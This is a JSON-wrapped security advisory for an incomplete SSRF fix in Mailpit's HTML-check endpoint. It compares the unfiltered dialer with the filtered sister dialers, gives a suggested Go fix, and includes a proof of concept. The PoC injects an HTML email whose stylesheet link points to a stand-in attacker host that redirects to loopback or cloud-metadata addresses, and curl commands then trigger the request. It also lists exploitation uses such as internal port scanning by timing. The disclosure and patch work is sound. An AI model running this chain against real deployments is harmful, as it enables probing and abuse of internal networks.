{"id":"CVE-2026-45709","aliases":["GHSA-j3fj-qppj-fmmc","GO-2026-5446"],"title":"Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer","summary":"Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer","severity":"medium","cvss":5.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","vendor":"axllent","product":"github.com/axllent/mailpit","ecosystem":"go","affected":["github.com/axllent/mailpit >= 1.28.3, < 1.30.0"],"patched":["github.com/axllent/mailpit 1.30.0"],"published":"2026-05-19","updated":"2026-09-02","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-j3fj-qppj-fmmc","references":[{"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-j3fj-qppj-fmmc"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45709"},{"url":"https://github.com/axllent/mailpit"},{"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0"}],"tags":["osv","go"],"epss":0.00265,"epssPercentile":0.1866,"ingestedAt":"2026-09-03T19:32:13.772Z","slug":"CVE-2026-45709","body":"## Overview\n\n## Summary\n\nThe fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, \"Server-Side Request Forgery (SSRF) via HTML Check API\"), shipped in mailpit `v1.28.3`, hardened `internal/htmlcheck/css.go::downloadCSSToBytes` with a 5MB size cap, a `text/css` content-type check, login-info stripping in `isValidURL`, and an opt-in `--block-remote-css-and-fonts` config flag — but **did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints** (the proxy handler and link-check). At HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06), `internal/htmlcheck/css.go::newSafeHTTPClient` is mis-named — it builds an `http.Client` whose `Transport.DialContext` calls `net.Dialer.DialContext` directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial:\n\n- loopback (`127.0.0.0/8`, `::1`),\n- private (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `fc00::/7`),\n- link-local incl. **cloud IMDS** (`169.254.0.0/16`, especially `169.254.169.254`),\n- CGNAT (`100.64.0.0/10`),\n- and any other reserved/multicast range,\n\n— provided the target replies with `HTTP/200` and a content-type beginning with `text/css`. With redirect-following (`CheckRedirect` allows redirects to any `isValidURL` URL with no IP filter), an attacker-controlled public site can redirect mailpit's request into the private network without ever appearing in the email's HTML.\n\nIn the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP `GET` to `/api/v1/message/{id}/html-check`.\n\n## Affected versions\n\n- `internal/htmlcheck/css.go` at HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- All versions `>= v1.28.3` (the version that shipped the GHSA-6jxm fix). Versions `<= v1.28.2` are vulnerable to the original GHSA-6jxm; versions `>= v1.28.3` carry the still-vulnerable variant described here.\n\n## The incomplete fix\n\nThe original GHSA-6jxm fix added size+content-type+login-info hardening to `downloadCSSToBytes`. But the dialer it uses still has no `safeDialContext`. The companion `linkcheck` and `proxy` handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, **AND** a `safeDialContext` that runs `tools.IsInternalIP(ip.IP)` per resolved address — same pattern the htmlcheck dialer should adopt.\n\nSide-by-side at HEAD `8bc966e`:\n\n| File | Function | `safeDialContext` (IP filter)? | TOCTOU-safe (dial-by-IP)? |\n|---|---|---|---|\n| `internal/linkcheck/status.go::safeDialContext` line 140-163 | dial check | YES | YES (resolved IP joined with port) |\n| `server/handlers/proxy.go::safeDialContext` line 393-415 | dial check | YES | YES |\n| `internal/htmlcheck/css.go::newSafeHTTPClient` line 275-310 | dial check | **NO** | n/a |\n\nThe mis-named `newSafeHTTPClient` reads:\n\n```go\n// internal/htmlcheck/css.go:275-310\nfunc newSafeHTTPClient() *http.Client {\n    dialer := &net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := &http.Transport{\n        Proxy: nil,\n        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n            return dialer.DialContext(ctx, network, address)   // no IP filter\n        },\n        ...\n    }\n\n    client := &http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) >= 3 { return errors.New(\"too many redirects\") }\n            if !isValidURL(req.URL.String()) { return errors.New(\"invalid redirect URL\") }\n            return nil\n        },\n    }\n    return client\n}\n```\n\n`isValidURL` only rejects non-http(s) and userinfo URLs — it does NOT reject internal IPs. Compare `linkcheck/status.go::safeDialContext`:\n\n```go\nips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n...\nif !config.AllowInternalHTTPRequests {\n    for _, ip := range ips {\n        if tools.IsInternalIP(ip.IP) {\n            return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n        }\n    }\n}\nreturn dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n```\n\nThat's the protection htmlcheck is missing.\n\n## Reachability chain (default deploy)\n\n```\nListen()                                 # config/config.go:36 SMTPListen = \"[::]:1025\"\n   ↓\nSMTP server                              # internal/smtpd/main.go:222-249  AuthRequired: false, AuthHandler: nil\n   ↓ attacker injects HTML body with <link rel=\"stylesheet\" href=\"...attacker.com/redirect.css\">\n   ↓\nstorage.Store(...)\n   ↓\nListen()                                 # server/server.go HTTPListen\n   ↓ attacker sends GET /api/v1/message/{id}/html-check\napiv1.HTMLCheck                          # server/apiv1/other.go:18\n   ↓ no UI auth in default deploy (auth.UICredentials == nil)\nhtmlcheck.RunTests(msg.HTML)             # internal/htmlcheck/main.go:17\n   ↓\nrunCSSTests → inlineRemoteCSS            # internal/htmlcheck/css.go:25, 132\n   ↓\ndownloadCSSToBytes(href)                 # internal/htmlcheck/css.go:192\n   ↓\nnewSafeHTTPClient()                      # internal/htmlcheck/css.go:275\n   ↓ no IP filter on Transport.DialContext or CheckRedirect\nclient.Do(req) → attacker-controlled origin → 302 redirect to internal IP → success\n```\n\n## PoC\n\nDefault-deploy reproduction (no auth):\n\n```bash\n# 1) start mailpit with defaults (no --smtp-auth, no --ui-auth)\ndocker run -p 1025:1025 -p 8025:8025 axllent/mailpit:latest\n\n# 2) attacker hosts a redirect to an internal target\n#    e.g., http://attacker.example.com/test.css → 302 → http://169.254.169.254/...\n\n# 3) inject email via SMTP (no auth required)\npython3 - <<'EOF'\nimport smtplib\nfrom email.mime.text import MIMEText\nhtml = '''<!DOCTYPE html><html><head>\n  <link rel=\"stylesheet\" href=\"http://attacker.example.com/test.css\">\n</head><body>x</body></html>'''\nm = MIMEText(html, 'html')\nm['Subject'] = 'mailpit-001'\nm['From'] = 'a@b'\nm['To']   = 'c@d'\nwith smtplib.SMTP('localhost', 1025) as s:\n    s.send_message(m)\nEOF\n\n# 4) get the message ID\nID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')\n\n# 5) trigger the SSRF with one anonymous GET\ncurl -i http://localhost:8025/api/v1/message/$ID/html-check\n```\n\nThe HTTP server-side dial follows `http://attacker.example.com/test.css` → 302 redirect to `http://127.0.0.1:6379/` → mailpit completes a TCP connect to the loopback Redis. No request body is reflected to the attacker (mailpit only inlines successful 200 + `text/css` responses), but:\n\n- **State-changing internal GETs.** Any internal admin app served on `127.0.0.1` or RFC1918 with a \"GET /admin/restart\", \"GET /vacuum\", \"GET /flush\" pattern can be triggered through this primitive. Several common stacks (Spring Actuator, etcd debug, internal Prometheus admin, Redis HTTP front-ends, Jaeger UI) expose such operations on private ports.\n- **Cloud-IMDS reachability oracle.** Because IMDS responses don't carry `text/css`, the body is not inlined — but the redirect chain DOES dial 169.254.169.254. A side-channel (response time, DNS log) can confirm IMDS reachability from a default-deploy mailpit on cloud.\n- **Internal port-scan via timing.** The 5s+15s timeouts produce a clear timing differential between \"RST refused\" (~ms), \"open and HTTP-noisy\" (~10ms+), and \"filtered\" (multi-second).\n- **Authenticated `Mailpit/<version>` GET.** Every internal target sees a known UA from a trusted internal subnet; combined with redirect-stripping, this can fool internal allowlists keyed on UA.\n\n## Threat model alignment\n\nThe maintainer's prior position on the SSRF class is captured by GHSA-6jxm-fv7w-rw5j (HTML Check, Medium), GHSA-mpf7-p9x7-96r3 (Link Check, Medium), and GHSA-8v65-47jx-7mfr (Proxy Endpoint, Medium). All three are siblings in the same SSRF class, and the maintainer chose to remediate each via a `safeDialContext`-style filter in the linkcheck and proxy fixes. The htmlcheck fix is the outlier: same class, same severity, but the IP filter was not applied. The remaining surface is therefore a regression of the published fix's stated goal (\"disallow internal targets\").\n\nDefault-deploy reachability is unauthenticated (per the maintainer's own README, mailpit is intended to run without auth in dev/CI). With UI auth configured, the same primitive is post-auth — still useful (UI-auth mailpit deployments often live on the internal/ops subnet, exposing other ops services).\n\n## Suggested fix\n\nMake `newSafeHTTPClient` use the same `safeDialContext` pattern already proven in `linkcheck/status.go` and `server/handlers/proxy.go`. Concretely:\n\n```go\n// internal/htmlcheck/css.go\nfunc newSafeHTTPClient() *http.Client {\n    dialer := &net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := &http.Transport{\n        Proxy:                 nil,\n        DialContext:           safeDialContext(dialer),  // ← add IP filter\n        TLSHandshakeTimeout:   5 * time.Second,\n        ResponseHeaderTimeout: 10 * time.Second,\n        ExpectContinueTimeout: 1 * time.Second,\n        IdleConnTimeout:       30 * time.Second,\n        MaxIdleConns:          50,\n    }\n\n    client := &http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) >= 3 {\n                return errors.New(\"too many redirects\")\n            }\n            if !isValidURL(req.URL.String()) {\n                return errors.New(\"invalid redirect URL\")\n            }\n            // safeDialContext re-runs IP filter on each hop's Dial,\n            // so redirect target IP is also enforced.\n            return nil\n        },\n    }\n    return client\n}\n\n// safeDialContext is the same pattern as linkcheck/status.go::safeDialContext\n// — copy the function (or factor a shared helper into internal/tools/net.go).\nfunc safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {\n    return func(ctx context.Context, network, address string) (net.Conn, error) {\n        host, port, err := net.SplitHostPort(address)\n        if err != nil { return nil, err }\n        ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n        if err != nil { return nil, err }\n        if !config.AllowInternalHTTPRequests {\n            for _, ip := range ips {\n                if tools.IsInternalIP(ip.IP) {\n                    return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n                }\n            }\n        }\n        return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n    }\n}\n```\n\nTwo further hardening notes:\n\n1. **Add CGNAT 100.64.0.0/10 (RFC 6598).** `tools.IsInternalIP` covers loopback, private, link-local, multicast, unspecified — but not CGNAT. This affects all three SSRF dialers (htmlcheck, linkcheck, proxy). Tailscale tailnets and GCP IAP fall in `100.64.0.0/10`; an mailpit instance running on a Tailscale node can be used to pivot into the tailnet. Concrete fix: extend `tools.IsInternalIP` with `cgnat := net.IPNet{IP: net.IPv4(100, 64, 0, 0), Mask: net.CIDRMask(10, 32)}; if cgnat.Contains(ip) { return true }`.\n2. **Re-validate the rename.** `newSafeHTTPClient` is a misleading name today — once the dialer is hardened, the name will be accurate. Until then, consider renaming it to `newHTTPClient` to remove the false sense of safety it conveys to maintainers reading the file.\n\n## Reproduction environment\n\n- Tested against: HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- Code locations:\n  - Vulnerable dialer: `internal/htmlcheck/css.go:275-310`\n  - Vulnerable downloader: `internal/htmlcheck/css.go:192-229`\n  - Reachability gate: `internal/htmlcheck/css.go:131-187` (`inlineRemoteCSS`)\n  - Trigger handler: `server/apiv1/other.go:18-79` (`HTMLCheck`)\n  - Default no-UI-auth: `internal/auth/auth.go` + middleware in `server/server.go:317`\n  - Default no-SMTP-auth: `internal/smtpd/main.go:229-230`\n  - Sister fixed dialers (for diff): `internal/linkcheck/status.go:140-163`, `server/handlers/proxy.go:393-415`\n\n## Reporter\n\nEddie Ran. Filed via reporter API.\n\n## Affected packages\n\n- `github.com/axllent/mailpit >= 1.28.3, < 1.30.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/axllent/mailpit 1.30.0`","depth":"sunlit","depthScore":32,"depthScoreParts":{"impact":31.9,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}